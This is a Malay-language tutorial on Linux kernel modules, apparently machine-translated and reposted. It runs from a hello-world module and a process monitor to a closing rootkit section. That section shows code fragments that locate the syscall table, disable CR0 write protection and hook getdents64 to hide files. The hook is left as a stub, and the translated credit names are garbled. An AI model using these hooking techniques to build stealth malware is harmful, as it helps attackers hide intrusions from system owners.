Penagih LKM, belajar asas lkm

Hei semua! Hari ini, saya akan membimbing anda melalui LKM (Modul Kernel Boleh Dimuat)—daripada modul mudah "Hello World" sehinggalah kepada mencipta rootkit LKM. Jika anda rasa ini membantu, sila kongsikan dan terima kasih terlebih dahulu kepada semua orang yang membaca sehingga tamat. Anda akan menemui semua kod dan rujukan yang dipautkan di bahagian bawah siaran, jadi pastikan anda menyemak sumbernya. Percayalah, mempelajarinya dan mengubah suai kod akan membantu anda mengetahui lebih lanjut. Makluman—sesetengah kod adalah di bawah lesen GPL 3, jadi pastikan anda mengetahui syaratnya.

Apa yang Anda Perlukan:

linux-headers-generik
Pengkompil C (saya cadangkan GCC atau cc)

Daftar Kandungan:

• 1) Apakah itu LKM dan cara ia berfungsi
• 2) Contoh LKM Makefile
• 3) Bagaimana modul dimuatkan ke dalam kernel
• 4) LKM "Hello World"
• 5) Perubahan penting selama ini
• 6) Perubahan jadual Syscall dalam Kernel 5.7
• 7) LKM untuk pemantauan proses
• 8) Membina rootkit LKM

1) Apakah itu LKM dan cara ia berfungsi:

LKM ialah Modul Kernel Boleh Dimuat yang membantu kernel Linux mengembangkan fungsinya—seperti menambah pemacu untuk perkakasan tanpa perlu menyusun semula keseluruhan kernel. Ia sesuai untuk pemacu peranti (seperti kad bunyi), sistem fail, dsb. Setiap LKM sekurang-kurangnya memerlukan dua fungsi asas ini:

static int __init module_init(void)
{
    return 0;
}

static void __exit module_exit(void)
{
}

2) Contoh LKM Makefile:

Berikut ialah Makefile yang sangat mudah untuk menyusun modul anda:

obj-m := example.o
KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)

all:
 $(MAKE) -C $(KDIR) M=$(PWD) modules

clean:
 $(MAKE) -C $(KDIR) M=$(PWD) clean

3) Bagaimana Modul Dimuatkan ke dalam Kernel:

Anda boleh melihat modul yang dimuatkan ke dalam kernel dengan arahan lsmod. Ia menyemak maklumat dalam /proc/modules. Modul biasanya mengenal pasti kernel melalui alias seperti ini:

alias char-major-10–30 softdog

Ini memberitahu modprobe bahawa modul softdog.o harus dimuatkan dan ia menyemak /lib/modules/version/modules.dep untuk kebergantungan yang dibuat dengan menjalankan depmod -a.

4) LKM "Hello World":

Berikut ialah cara membuat modul "Hello World" yang sangat asas:

#include <linux/module.h> 
#include <linux/kernel.h> 
#include <linux/init.h>   

static int __init hello_init(void)
{
    printk(KERN_INFO "<1>Hello World\n");
    return 0;
}

static void __exit hello_exit(void)
{
    printk(KERN_INFO"<1> Bye bye!");
}

module_init(hello_init);
module_exit(hello_exit);

MODULE_AUTHOR("BrunoCiccarino");
MODULE_LICENSE("GPL");

5) Perubahan Utama dalam LKM selama ini:

Terdapat beberapa perubahan yang agak ketara dalam LKM dari semasa ke semasa, jadi mari kita pecahkannya mengikut versi kernel Linux:

Kernel 2.x (sehingga 2.6):

Sokongan awal untuk pemuatan dan pemunggahan LKM dinamik.
Alat penyahpepijatan yang lebih baik (OOPS, PANIK).
Inti 2.6.x:

Pengenalan udev untuk pengurusan peranti yang lebih baik.
Kernel preemptive untuk masa tindak balas yang lebih cepat.
Pustaka Benang Posix Asli (NPTL) meningkatkan pengendalian proses berbilang benang.
Inti 3.x:

Sokongan untuk ruang nama, meningkatkan teknologi kontena seperti Docker.
Pembaikan sistem fail dan pemacu GPU.
Inti 4.x:

Keselamatan kernel mendapat rangsangan dengan KASLR.
Sokongan kontena yang lebih baik (Cgroup, ruang nama).
Sokongan perkakasan baharu.
Inti 5.x:

Penyulitan sistem fail yang lebih baik dan tampalan langsung.
Peluasan BPF melangkaui rangkaian sahaja.
Sokongan RISC-V dan ARM yang lebih baik.
Inti 5.7:

Perubahan besar: jadual syscall (sys_call_table) menjadi kurang boleh diakses atas sebab keselamatan. Modul yang perlu mengubah suai jadual syscall terpaksa menyesuaikan diri.
Inti 6.x:

Sokongan bahasa karat untuk pembangunan modul kernel yang lebih selamat.
Peningkatan keselamatan dan pengasingan, dengan tumpuan pada kecekapan tenaga untuk peranti mudah alih.

6) Perubahan dalam Jadual Syscall dalam Kernel 5.7:

Dalam Linux 5.7, perubahan telah dibuat untuk melindungi jadual syscall. Ia kini dilindungi bertulis dan tidak mudah diakses, yang merupakan kemenangan besar untuk keselamatan tetapi perkara yang rumit untuk modul sah yang bergantung padanya. Jika anda menggunakan kprobes.h untuk mencari sys_call_table, anda memerlukan strategi baharu. Kini, anda tidak boleh mengubah suainya secara langsung kerana perlindungan seperti Write-Protection (WP).

7) LKM untuk Pemantauan Proses:

Ini ialah modul yang memantau proses dalam kernel dengan menjalankan semakan secara berkala (cth., setiap 2 saat) menggunakan pemasa. Ia memantau perkara seperti penciptaan dan penamatan proses, akses fail dan penggunaan rangkaian.

Berikut adalah sedikit kod untuk membolehkan anda bermula dengan itu:

#include <linux/module.h>
#include <linux/sched.h>
#include <linux/timer.h>
#include <linux/cred.h>

static struct timer_list procmonitor_timer;

static void procmonitor_check_proc_tree(unsigned long unused)
{
    struct task_struct *task;
    for_each_process(task)
        printk(KERN_INFO "process: %s, PID: %d\n", task->comm, task->pid);

    mod_timer(&procmonitor_timer, jiffies + msecs_to_jiffies(2000));
}

static int __init procmonitor_init(void)
{
    setup_timer(&procmonitor_timer, procmonitor_check_proc_tree, 0);
    mod_timer(&procmonitor_timer, jiffies + msecs_to_jiffies(200));
    return 0;
}

static void __exit procmonitor_exit(void)
{
    del_timer_sync(&procmonitor_timer);
}

module_init(procmonitor_init);
module_exit(procmonitor_exit);

8) Kit Akar LKM:

Rootkit pada asasnya ialah modul berniat jahat yang merampas panggilan sistem untuk menyembunyikan perisian hasad. Begini cara mereka menyambung ke jadual syscall dan mengubah suai gelagat.

Pertama, anda perlu mencari jadual syscall:

unsigned long *find_syscall_table(void)
{
    typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
    kallsyms_lookup_name_t kallsyms_lookup_name;
    register_kprobe(&kp);
    kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
    unregister_kprobe(&kp);
    return (unsigned long*)kallsyms_lookup_name("sys_call_table");
}

Kemudian, anda boleh menyahlindung memori di mana jadual syscall berada:

static inline void unprotect_memory(void)
{
    write_cr0_forced(cr0 & ~0x00010000);
}

Selepas itu, gantikan fungsi asal dengan cangkuk anda:

static int __init ghost_init(void)
{
    __syscall_table = find_syscall_table();
    if (!__syscall_table) return -1;

    cr0 = read_cr0();
    orig_getdents64 = (void *)__syscall_table[MY_NR_getdents];
    unprotect_memory();
    __syscall_table[MY_NR_getdents] = (unsigned long)hook_getdents64;
    protect_memory();
    return 0;
}

Fungsi cangkuk memintas dan menyembunyikan fail:

asmlinkage int hook_getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count) {
    int ret = orig_getdents64(fd, dirp, count);
    // Intercept the syscall here...
    return ret;
}

Kredit

Pilihan Penggodam
elinux
kernel br
xcellerator
lkmpg
penghibur kucing
rootkit saya
diamorfin

Atas ialah kandungan terperinci Penagih LKM, belajar asas lkm. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!